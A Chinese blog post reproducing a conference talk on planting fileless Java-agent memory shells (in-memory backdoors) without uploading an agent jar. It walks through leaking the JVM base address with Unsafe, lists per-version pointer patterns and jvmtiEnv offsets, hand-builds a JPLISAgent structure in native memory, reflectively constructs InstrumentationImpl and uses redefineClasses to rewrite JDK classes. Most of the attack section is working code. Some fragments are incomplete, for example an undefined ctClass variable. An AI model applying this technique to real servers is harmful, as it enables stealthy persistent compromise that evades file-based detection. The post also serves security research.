议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马

无文件落地Agent型内存马植入

可行性分析

使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent

Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com)

首先,我们先看一下通过Agent动态修改类的流程:

image

1.在客户端和目标JVM建立IPC连接以后,客户端会封装一个用来加载agent.jar的AttachOperation对象,这个对象里面有三个关键数据:actioName、libName和agentPath;
2.服务端收到AttachOperation后,调用enqueue压入AttachOperation队列等待处理;
3.服务端处理线程调用dequeue方法取出AttachOperation;
4.服务端解析AttachOperation,提取步骤1中提到的3个参数,调用actionName为load的对应处理分支,然后加载libinstrument.so(在windows平台为instrument.dll),执行AttachOperation的On_Attach函数(由此可以看到,Java层的instrument机制,底层都是通过Native层的Instrument来封装的);
5.libinstrument.so中的On_Attach会解析agentPath中指定的jar文件,该jar中调用了redefineClass的功能;
6.执行流转到Java层,JVM会实例化一个InstrumentationImpl类,这个类在构造的时候,有个非常重要的参数mNativeAgent:

image

这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。7.InstrumentationImpl实例化之后,再继续调用InstrumentationImpl类的redefineClasses方法,做稍许校验之后继续调用InstrumentationImpl的Native方法redefineClasses0
8.执行流继续走入Native层:

image

以上是议题中的原文。个人解释一下自己的理解

我们在server端的agentmain处下断点,可以发现server端的调用栈是从InstrumentationImpl类开始的,这就是原文中的第六步,而之前几步都是client 或者native层的操作。因此在java层,我们可以直接从InstrumentationImpl类入手构造恶意代码。

image-20211102201446879

这样就要先构造InstrumentationImpl类,看一下构造函数,结合之前debug生成的信息,发现var3=true,var4=false,需要构造的只要var1,即mNativeAgent,这个参数是long型,其值是一个Native层的指针,指向的是一个C++对象JPLISAgent。说明我们需要在native层构造合适的C++对象JPLISAgent。image-20211102203117657

 private InstrumentationImpl(long var1, boolean var3, boolean var4) {
        this.mNativeAgent = var1;//这个参数
        this.mEnvironmentSupportsRedefineClasses = var3;
        this.mEnvironmentSupportsRetransformClassesKnown = false;
        this.mEnvironmentSupportsRetransformClasses = false;
        this.mEnvironmentSupportsNativeMethodPrefix = var4;
    }

组建JPLISAgent

native内存操作

(32条消息) java native内存_JVM Heap Memory和Native Memory_海阔山高人为峰的博客-CSDN博客

https://xz.aliyun.com/t/10186#toc-1

我们要在native层创建对象,就必然要操作native内存,即堆外内存。可以使用directByteBuffer,看一下directByteBuffer的实现,其主要是对unsafe进行了一个封装,主要内存操作还是调用unsafe。因此使用unsafe也可以实现内存分配。

DirectByteBuffer(int cap) {                   // package-private
    super(-1, 0, cap, cap);
    boolean pa = VM.isDirectMemoryPageAligned();  //是否页对齐
    int ps = Bits.pageSize();    //获取pageSize大小
    long size = Math.max(1L, (long) cap + (pa ? ps : 0));  //如果是页对齐的话,那么就加上一页的大小
    Bits.reserveMemory(size, cap);   //对分配的直接内存做一个记录

    long base = 0;
    try {
        base = unsafe.allocateMemory(size);  //实际分配内存
    } catch (OutOfMemoryError x) {
        Bits.unreserveMemory(size, cap);
        throw x;
    }
    unsafe.setMemory(base, size, (byte) 0);   //初始化内存
    //计算地址
    if (pa && (base % ps != 0)) {
        // Round up to page boundary
        address = base + ps - (base & (ps - 1));
    } else {
        address = base;
    }
    //生成Cleaner
    cleaner = Cleaner.create(this, new Deallocator(base, size, cap));
    att = null;
}
Unsafe unsafe = null;
try {    Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");    field.setAccessible(true);    unsafe = (sun.misc.Unsafe) field.get(null);} catch (Exception e) {    throw new AssertionError(e);}

分析JPLISAgent结构

struct _JPLISAgent {
    JavaVM *                mJVM;                   /* handle to the JVM */
    JPLISEnvironment        mNormalEnvironment;     /* for every thing but retransform stuff */
    JPLISEnvironment        mRetransformEnvironment;/* for retransform stuff only */
    jobject                 mInstrumentationImpl;   /* handle to the Instrumentation instance */
    jmethodID               mPremainCaller;         /* method on the InstrumentationImpl that does the premain stuff (cached to save lots of lookups) */
    jmethodID               mAgentmainCaller;       /* method on the InstrumentationImpl for agents loaded via attach mechanism */
    jmethodID               mTransform;             /* method on the InstrumentationImpl that does the class file transform */
    jboolean                mRedefineAvailable;     /* cached answer to "does this agent support redefine" */
    jboolean                mRedefineAdded;         /* indicates if can_redefine_classes capability has been added */
    jboolean                mNativeMethodPrefixAvailable; /* cached answer to "does this agent support prefixing" */
    jboolean                mNativeMethodPrefixAdded;     /* indicates if can_set_native_method_prefix capability has been added */
    char const *            mAgentClassName;        /* agent class name */
    char const *            mOptionsString;         /* -javaagent options string */
};

JPLISAgent结构复杂,所以我们从后面的redefineclass入手,看一下哪些参数需要。

void
redefineClasses(JNIEnv * jnienv, JPLISAgent * agent, jobjectArray classDefinitions) {
    jvmtiEnv*   jvmtienv                        = jvmti(agent);
    jboolean    errorOccurred                   = JNI_FALSE;
    jclass      classDefClass                   = NULL;
    jmethodID   getDefinitionClassMethodID      = NULL;
    jmethodID   getDefinitionClassFileMethodID  = NULL;
    jvmtiClassDefinition* classDefs             = NULL;
    jbyteArray* targetFiles                     = NULL;
    jsize       numDefs                         = 0;
    ...

这里根据用法可以看出jvmti是一个宏或函数,搜索一下可以发现这是个宏

image-20211103094937511

可以确定redefineclass需要mNormalEnvironment参数。

image-20211103095103115

来看一下这个参数的结构。

struct _JPLISEnvironment {
    jvmtiEnv *              mJVMTIEnv;              /* the JVM TI environment */
    JPLISAgent *            mAgent;                 /* corresponding agent */
    jboolean                mIsRetransformer;       /* indicates if special environment */
};

可以看到这个结构里存在一个回环指针mAgent,又指向了JPLISAgent对象,另外,还有个最重要的指针mJVMTIEnv,这个指针是指向内存中的JVMTIEnv对象的,这是JVMTI机制的核心对象。另外,经过分析,JPLISAgent对象中还有个mRedefineAvailable成员,必须要设置成true。

定位JVMTIEnv

这里rebeyond师傅用的是动态调试方法。本人不太会,主要是不知道是如何定位JPLISAgent地址的。

因此参考https://xz.aliyun.com/t/10186#toc-3中的技术

思路整理:游望之师傅的文章https://xz.aliyun.com/t/10186#toc-3

通过

JNI_GetCreatedJavaVMs(&vm, 1, &count);

获取vm对象,然后

vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);

获取_jvmti_env。

以上代码都是java原生libjava.so中的方法。通过elf导出符号定位想要将之替换的导出函数,进行内存修改即可完成native层的调用。

个人的windows实现思路(未实现)

配合之前的进程注入执行任意native代码,GetModuleHandle获取jvm.dll的地址,然后因为rebeyond师傅测试出JVMTIEnv对象存在于jvm模块的地址空间中,而且偏移量是固定的,那么我们尝试另外编写一个JNI程序,然后调用

vm->functions->GetEnv(vm, (void **)&_jvmti_env, JVMTI_VERSION_1_2);

获取_jvmti_env地址与jvm.dll的地址对比即可得到偏移量。

jni程序c代码

#include "pch.h"
#include "getAgent.h"
#include"getJPSAgent.h"
#include "jvmti.h"
JNIEXPORT void JNICALL Java_getJPSAgent_caloffset
(JNIEnv*, jobject) {
    struct JavaVM_* vm;
    jsize count;
    typedef jint(JNICALL* GetCreatedJavaVMs)(JavaVM**, jsize, jsize*);
    //本来想直接调用GetCreatedJavaVMs函数但是缺少特定头文件,因此只能typedef定义另一个结构相同的函数
    GetCreatedJavaVMs jni_GetCreatedJavaVMs;
    // ...
    jni_GetCreatedJavaVMs = (GetCreatedJavaVMs)GetProcAddress(GetModuleHandle(
        TEXT("jvm.dll")), "JNI_GetCreatedJavaVMs");
    //由于jvm.dll在java程序开始时就已经加载,因此可以直接获取dll中JNI_GetCreatedJavaVMs的地址
    jni_GetCreatedJavaVMs(&vm, 1, &count);//获取jvm对象的地址
    struct jvmtiEnv_* _jvmti_env;
    HMODULE jvm = GetModuleHandle(L"jvm.dll");//获取jvm基址
    vm->functions->GetEnv(vm, (void**)&_jvmti_env, JVMTI_VERSION_1_2);//获取_jvmti_env的地址,即即指向JVMTIEnv指针的指针。
    printf(" hModule jvm = 0x%llx\n", jvm);
    printf(" struct JavaVM_* vm = 0x%llx\n", vm);
    printf(" _jvmti_env = 0x%llx\n", _jvmti_env);
 ;
}

image-20211104222650412

再用x64dbg attach进程查看_jvmti_env的内容,绿线标出的就是JVMTIEnv的地址

image-20211104222807466

多次计算可以发现此java版本的jvmti_env对jvm.dll基址的偏移量固定,为0x9D6760。

此时,需要解决jvm基址的问题,由于aslr的原因,jvm基址不固定。这里有两种方法,一种为rebeyond师傅介绍的技术信息泄露获取JVM基址,另一种尝试配合之前的进程注入执行任意native代码,GetModuleHandle获取jvm.dll的地址。(没试过)

信息泄露获取JVM基址

这里rebeyond师傅的思路应该是 先使用unsafe来allocate一块很小的内存,并且打印出它的地址。这样在进行动态调试时就可以直接定位到这块内存。而在这块内存空间周围有一些可疑的指针,查看一下正好有直接指向jvm.dll基址的指针。

编写如下代码:

long allocateMemory = unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory));

输出如下:

image-20211103183114949

定位到地址0x20F03026430:

image-20211103183040811

可见前后有很多指针,绿色的那些指针,都指向jvm的地址空间内:

image-20211103183210500

由于这些指针不是固定的,每次调试都会有不同的结果,但是是伪随机,有一定的规律。因此rebeyond师傅使用了统计学的方法,编写程序反复收集对应的数据,将指针地址后两位,指针指向的内容的后两位,以及该指针与jvm.dll基址的偏移量,收集成表。再后续判断基址时,通过前两项判断指针是否有效,通过偏移量来确定jvm.dll的基址。

  String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'";
        //patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'";//for windows_java8_301_x64
          // patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64
        long jvmtiOffset=0x79a220; //for java_8_271_x64 相对基址固定
        // jvmtiOffset=0x78a280; //for windows_java_8_301_x64
        // jvmtiOffset=0xf9c520; //for linux_java_8_301_x64
        List<Map<String, String>> patternList = new ArrayList<Map<String, String>>();
        for (String pair : patterns.split(",")) {
            String offset = pair.split(":")[0].replace("'", "").trim();
            String value = pair.split(":")[1].replace("'", "").trim();
            String delta = pair.split(":")[2].replace("'", "").trim();
            Map pattern = new HashMap<String, String>();
            pattern.put("offset", offset);
            pattern.put("value", value);
            pattern.put("delta", delta);
            patternList.add(pattern);        }
        //构建不同版本jdk对应的offset,value,delta

    int offset = 8;
    int targetHexLength=8; //on linux,change it to 12.
    for (int j = 0; j < 0x2000; j++)  //down search
         {
             for (int x : new int[]{-1, 1}) {
                 long target = unsafe.getAddress(allocateMemory + j * x * offset);//获取allocateMemory前后的内容
                 String targetHex = Long.toHexString(target);//将目标地址转换成16进制字符串
                 if (target % 8 > 0 || targetHex.length() != targetHexLength) {//看目标地址是否是8的倍数,其内容是否是8位
                     continue;                }
                 if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) {
                     continue;  }
                 System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j);
        for (Map<String, String> patternMap : patternList) {//符合前面条件后,进一步去匹配MapList中的内容
            targetHex = Long.toHexString(target);
            if (targetHex.endsWith(patternMap.get("offset"))) {//先匹配offset
                String targetValueHex = Long.toHexString(unsafe.getAddress(target));
                System.out.println("[!]bingo.");
                if (targetValueHex.endsWith(patternMap.get("value"))) {//再匹配value
                    System.out.println("[ok]i found agent env:start get " + Long.toHexString(target) + ",at  :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j);
                    System.out.println("[ok]jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16)));//找到后拿目标地址减去偏移量就是基址
                    System.out.println("[ok]jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset));//基址加上jvmtiOffset就是jvmti object addr,即mJVMTIEnv
                    long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30;   
                    long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset;      
                    long agentAddress = getAgent(jvmtiAddress);                  
                    System.out.println("agentAddress:" + Long.toHexString(agentAddress));   
                            Bird bird = new Bird();                
                    bird.sayHello();               
                    doAgent(agentAddress);
                //doAgent(Long.parseLong(address));
                bird.sayHello();     
                return; }
                    
                    

开始组装

rebeyond师傅的组装代码,这里有些参数不太懂,使用下面反射构造的方法

    private static long getAgent(long jvmtiAddress) {       
    Unsafe unsafe = getUnsafe();       
    long agentAddr = unsafe.allocateMemory(0x200); 
    long jvmtiStackAddr = unsafe.allocateMemory(0x200);      
    unsafe.putLong(jvmtiStackAddr, jvmtiAddress);  
    unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel);
    unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l);   
    System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168));      
    unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0);
    unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr);       
    unsafe.putLong(agentAddr + 0x10, agentAddr);     
    unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l);
        //make retransform env
    unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr);
    unsafe.putLong(agentAddr + 0x28, agentAddr);       
    unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l);
    unsafe.putLong(agentAddr + 0x38, 0);    
    unsafe.putLong(agentAddr + 0x40, 0);     
    unsafe.putLong(agentAddr + 0x48, 0);     
    unsafe.putLong(agentAddr + 0x50, 0);
    unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l);   
    unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68); 
    unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l);        return agentAddr;    }

现在的思路:

先使用JNI获取native_jvmtienv

使用反射构造sun.instrument.InstrumentationImpl对象

    Unsafe unsafe = null;
        try {    Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (sun.misc.Unsafe) field.get(null);}
        catch (Exception e) {
            throw new AssertionError(e);}
        long JPLISAgent = unsafe.allocateMemory(0x1000);
        unsafe.putLong(JPLISAgent + 8, native_jvmtienv);
        unsafe.putByte(native_jvmtienv + 361, (byte) 2);
        Class<?> instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl");
        Constructor<?> constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class);
        constructor.setAccessible(true);
        Object insn = constructor.newInstance(JPLISAgent, true, false);

然后就可以使用addtransformer方法等。

现在addtransformer方法遇到了问题,抛出异常。主要是这里有一个能否retransform的判断。

image-20211105171444399

这里通过反射更改紫色字段的值可以解决,但是后续在setHasRetransformableTransformers方法处还是会报异常。

image-20211105195737915

因此舍弃通过retransform来更改class的方法。

我们使用redefineClazz来重定义class实现更改。

核心代码

使用javaassist实现类的更改,反射调用redefineClasses来实现class的替换.更改java.io.RandomAccessFile类中getFD方法的代码

public void redefine(Object insn,Class instrument_clazz) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        ClassPool pool = ClassPool.getDefault();
    	CtClass string_clazz = null;
        string_clazz = pool.get("java.io.RandomAccessFile");
        CtMethod method_getname = string_clazz.getDeclaredMethod("getFD");
        method_getname.insertBefore("System.out.println(\"hi, from java instrucment api\");");
        //CtClass ctClass = pool.makeClass(new FileInputStream("D:\\内存马\\java-agent\\java.io.RandomAccessFile.txt\\java\\io\\RandomAccessFile.class"));//获取Ctclass对象
        byte[] bytes = ctClass.toBytecode();//取出其字节码 
        ClassDefinition definition = new ClassDefinition(Class.forName("java.io.RandomAccessFile"), bytes);//将字节码作为参数,重构java.io.RandomAccessFile
        Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class);//反射调用redefineClass
        redefineClazz.invoke(insn, new Object[] {
                new ClassDefinition[] {
                        definition
                }
        });

    }

到这里基本完成了无文件型agent内存马。

最后再来整理一下实现思路。

  • 首先我们要实现无文件型agent内存马,需要先构造sun.instrument.InstrumentationImpl对象
  • 而这个构造函数需要mnativeagent参数,这个参数需要我们定位JVMTIEnv,JVMTIEnv与jvm基址的偏移量固定,因此我们确定jvm基址,这里使用rebeyond师傅的信息泄露获取JVM基址来实现。
  • 获得JVMTIEnv后需要先使用unsafe方法在native层创建JPLISAgent指针,并将JVMTIEnv存放在+8偏移处。
  • 使用反射构造sun.instrument.InstrumentationImpl对象,并调用相关方法
  • 配合javaassist更改需要的类的字节码,调用redefineClasses来实现class的替换。
posted @ 2021-11-05 21:11  xyylll  阅读(1401)  评论(0编辑  收藏  举报